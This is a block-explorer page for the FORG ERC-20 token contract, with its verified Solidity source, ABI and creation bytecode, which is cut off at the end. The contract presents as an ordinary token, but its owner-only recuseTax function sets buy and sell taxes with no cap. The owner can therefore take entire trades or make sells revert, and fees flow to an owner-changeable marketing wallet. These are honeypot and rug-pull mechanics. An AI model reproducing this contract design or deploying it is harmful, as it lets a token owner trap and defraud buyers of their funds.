Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 FORG
Holders
118
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,210.900743686498172838 FORGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-06 */ /** *Submitted for verification at Etherscan.io on 2023-09-06 */ /* _____ U ___ u ____ ____ |" ___| \/"_ \/U | _"\ uU /"___|u U| |_ u | | | | \| |_) |/\| | _ / \| _|/.-,_| |_| | | _ < | |_| | |_| \_)-\___/ |_| \_\ \____| )(\\,- \\ // \\_ _)(|_ (__)(_/ (__) (__) (__)(__)__) */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; /* * Telegram : https://t.me/forgofficial */ interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address payable private MarketingWallet; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = "FORG"; _symbol = "FORG"; _decimals = 18; uint256 Supply = 1000000000; _totalSupply = Supply * 10 ** _decimals; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); MarketingWallet = payable(msg.sender); _walletMAX = _totalSupply * 2 / 100; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[MarketingWallet] = true; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _isExcludeFromFee[address(swapRouter)] = true; } function setFundAddr( address payable newAddr ) public onlyOwner{ MarketingWallet = newAddr; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=0; uint256 private _initialSellTax=0; uint256 private _finalBuyTax=30; uint256 private _finalSellTax=30; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _preventSwapBefore=0; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } bool public remainHolder = true; function changeRemain() public onlyOwner{ remainHolder = !remainHolder; } uint256 public _walletMAX; function setWalletMax(uint8 percentage) public onlyOwner{ _walletMAX = totalSupply() * percentage / 100; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > 0){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; require(balanceOf(to) + amount <= _walletMAX,"walletlimit"); } // remainHolder if (remainHolder && amount == balance) { amount = amount - (amount / 10000); } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { startTradeBlock = block.number; } function removeERC20(address _token) external { if(_token != address(this)){ IERC20(_token).transfer(MarketingWallet, IERC20(_token).balanceOf(address(this))); MarketingWallet.transfer(address(this).balance); } } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); uint256 _bal = address(this).balance; if (_bal > 0){ MarketingWallet.transfer(_bal); } } function setFeeExclude(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"percentage","type":"uint8"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600c556000600d556000600e55601e600f55601e6010556000601155600060125560006013556001601460006101000a81548160ff0219169083151502179055503480156200005457600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600481526020017f464f524700000000000000000000000000000000000000000000000000000000815250600490816200013c919062000b37565b506040518060400160405280600481526020017f464f5247000000000000000000000000000000000000000000000000000000008152506005908162000183919062000b37565b506012600660006101000a81548160ff021916908360ff1602179055506000633b9aca009050600660009054906101000a900460ff16600a620001c7919062000dae565b81620001d4919062000dff565b6008819055506000339050600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000287919062000e5b565b60405180910390a333600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060646002600854620002e3919062000dff565b620002ef919062000ea7565b6015819055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200054a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000570919062000f49565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000601919062000f49565b6040518363ffffffff1660e01b81526004016200062092919062000f8c565b6020604051808303816000875af115801562000640573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000666919062000f49565b600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200078e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007b4919062000f49565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016200081492919062000fb9565b6020604051808303816000875af115801562000834573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200085a919062001023565b506001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505062001055565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200093f57607f821691505b602082108103620009555762000954620008f7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000980565b620009cb868362000980565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a1862000a1262000a0c84620009e3565b620009ed565b620009e3565b9050919050565b6000819050919050565b62000a3483620009f7565b62000a4c62000a438262000a1f565b8484546200098d565b825550505050565b600090565b62000a6362000a54565b62000a7081848462000a29565b505050565b5b8181101562000a985762000a8c60008262000a59565b60018101905062000a76565b5050565b601f82111562000ae75762000ab1816200095b565b62000abc8462000970565b8101602085101562000acc578190505b62000ae462000adb8562000970565b83018262000a75565b50505b505050565b600082821c905092915050565b600062000b0c6000198460080262000aec565b1980831691505092915050565b600062000b27838362000af9565b9150826002028217905092915050565b62000b4282620008bd565b67ffffffffffffffff81111562000b5e5762000b5d620008c8565b5b62000b6a825462000926565b62000b7782828562000a9c565b600060209050601f83116001811462000baf576000841562000b9a578287015190505b62000ba6858262000b19565b86555062000c16565b601f19841662000bbf866200095b565b60005b8281101562000be95784890151825560018201915060208501945060208101905062000bc2565b8683101562000c09578489015162000c05601f89168262000af9565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cac5780860481111562000c845762000c8362000c1e565b5b600185161562000c945780820291505b808102905062000ca48562000c4d565b945062000c64565b94509492505050565b60008262000cc7576001905062000d9a565b8162000cd7576000905062000d9a565b816001811462000cf0576002811462000cfb5762000d31565b600191505062000d9a565b60ff84111562000d105762000d0f62000c1e565b5b8360020a91508482111562000d2a5762000d2962000c1e565b5b5062000d9a565b5060208310610133831016604e8410600b841016171562000d6b5782820a90508381111562000d655762000d6462000c1e565b5b62000d9a565b62000d7a848484600162000c5a565b9250905081840481111562000d945762000d9362000c1e565b5b81810290505b9392505050565b600060ff82169050919050565b600062000dbb82620009e3565b915062000dc88362000da1565b925062000df77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cb5565b905092915050565b600062000e0c82620009e3565b915062000e1983620009e3565b925082820262000e2981620009e3565b9150828204841483151762000e435762000e4262000c1e565b5b5092915050565b62000e5581620009e3565b82525050565b600060208201905062000e72600083018462000e4a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000eb482620009e3565b915062000ec183620009e3565b92508262000ed45762000ed362000e78565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f118262000ee4565b9050919050565b62000f238162000f04565b811462000f2f57600080fd5b50565b60008151905062000f438162000f18565b92915050565b60006020828403121562000f625762000f6162000edf565b5b600062000f728482850162000f32565b91505092915050565b62000f868162000f04565b82525050565b600060408201905062000fa3600083018562000f7b565b62000fb2602083018462000f7b565b9392505050565b600060408201905062000fd0600083018562000f7b565b62000fdf602083018462000e4a565b9392505050565b60008115159050919050565b62000ffd8162000fe6565b81146200100957600080fd5b50565b6000815190506200101d8162000ff2565b92915050565b6000602082840312156200103c576200103b62000edf565b5b60006200104c848285016200100c565b91505092915050565b612d4680620010656000396000f3fe6080604052600436106101a05760003560e01c806365b61b77116100ec57806395d89b411161008a578063bc76c05211610064578063bc76c052146105c3578063cefab2af146105da578063dd62ed3e14610605578063f2fde38b14610642576101a7565b806395d89b4114610532578063a67755c21461055d578063a9059cbb14610586576101a7565b806370a08231116100c657806370a082311461048a578063715018a6146104c75780638da5cb5b146104de578063936c044b14610509576101a7565b806365b61b771461041f5780636c5808011461044a5780636f39cfcd14610461576101a7565b8063313ce567116101595780633ecad271116101335780633ecad271146103635780633f80b6d7146103a05780634bf28fd0146103c9578063553193ca146103f4576101a7565b8063313ce567146102d2578063319c2f64146102fd57806336b2e02714610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd146102145780631b5837491461023f57806323b872dd1461026a57806327b1a8e9146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161066b565b6040516101ce919061221d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122d8565b6106fd565b60405161020b9190612333565b60405180910390f35b34801561022057600080fd5b50610229610714565b604051610236919061235d565b60405180910390f35b34801561024b57600080fd5b5061025461071e565b604051610261919061235d565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612378565b610724565b60405161029e9190612333565b60405180910390f35b3480156102b357600080fd5b506102bc6108ca565b6040516102c9919061235d565b60405180910390f35b3480156102de57600080fd5b506102e76108d0565b6040516102f491906123e7565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061242e565b6108e7565b005b34801561033257600080fd5b5061034d6004803603810190610348919061245b565b6109a0565b60405161035a9190612333565b60405180910390f35b34801561036f57600080fd5b5061038a6004803603810190610385919061245b565b6109c0565b6040516103979190612333565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c29190612488565b6109e0565b005b3480156103d557600080fd5b506103de610a98565b6040516103eb9190612512565b60405180910390f35b34801561040057600080fd5b50610409610abe565b604051610416919061235d565b60405180910390f35b34801561042b57600080fd5b50610434610ac4565b604051610441919061258c565b60405180910390f35b34801561045657600080fd5b5061045f610aea565b005b34801561046d57600080fd5b50610488600480360381019061048391906125e5565b610b81565b005b34801561049657600080fd5b506104b160048036038101906104ac919061245b565b610c53565b6040516104be919061235d565b60405180910390f35b3480156104d357600080fd5b506104dc610c9c565b005b3480156104ea57600080fd5b506104f3610de8565b6040516105009190612512565b60405180910390f35b34801561051557600080fd5b50610530600480360381019061052b919061263e565b610e11565b005b34801561053e57600080fd5b50610547610efa565b604051610554919061221d565b60405180910390f35b34801561056957600080fd5b50610584600480360381019061057f919061245b565b610f8c565b005b34801561059257600080fd5b506105ad60048036038101906105a891906122d8565b611146565b6040516105ba9190612333565b60405180910390f35b3480156105cf57600080fd5b506105d861115d565b005b3480156105e657600080fd5b506105ef611217565b6040516105fc9190612333565b60405180910390f35b34801561061157600080fd5b5061062c6004803603810190610627919061267e565b61122a565b604051610639919061235d565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061245b565b6112b1565b005b60606004805461067a906126ed565b80601f01602080910402602001604051908101604052809291908181526020018280546106a6906126ed565b80156106f35780601f106106c8576101008083540402835291602001916106f3565b820191906000526020600020905b8154815290600101906020018083116106d657829003601f168201915b5050505050905090565b600061070a33848461146b565b6001905092915050565b6000600854905090565b60155481565b6000610731848484611556565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108bf5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083e919061274d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600c5481565b6000600660009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906127cd565b60405180910390fd5b60648160ff16610983610714565b61098d91906127ed565b610997919061285e565b60158190555050565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906127cd565b60405180910390fd5b84600f81905550836010819055508260118190555081601281905550806013819055505050505050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f906127cd565b60405180910390fd5b43601681905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c06906127cd565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d21906127cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906127cd565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060058054610f09906126ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610f35906126ed565b8015610f825780601f10610f5757610100808354040283529160200191610f82565b820191906000526020600020905b815481529060010190602001808311610f6557829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611143578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110379190612512565b602060405180830381865afa158015611054573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107891906128a4565b6040518363ffffffff1660e01b81526004016110959291906128f2565b6020604051808303816000875af11580156110b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d89190612930565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611141573d6000803e3d6000fd5b505b50565b6000611153338484611556565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e2906127cd565b60405180910390fd5b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b601460009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611336906127cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a5906129a9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff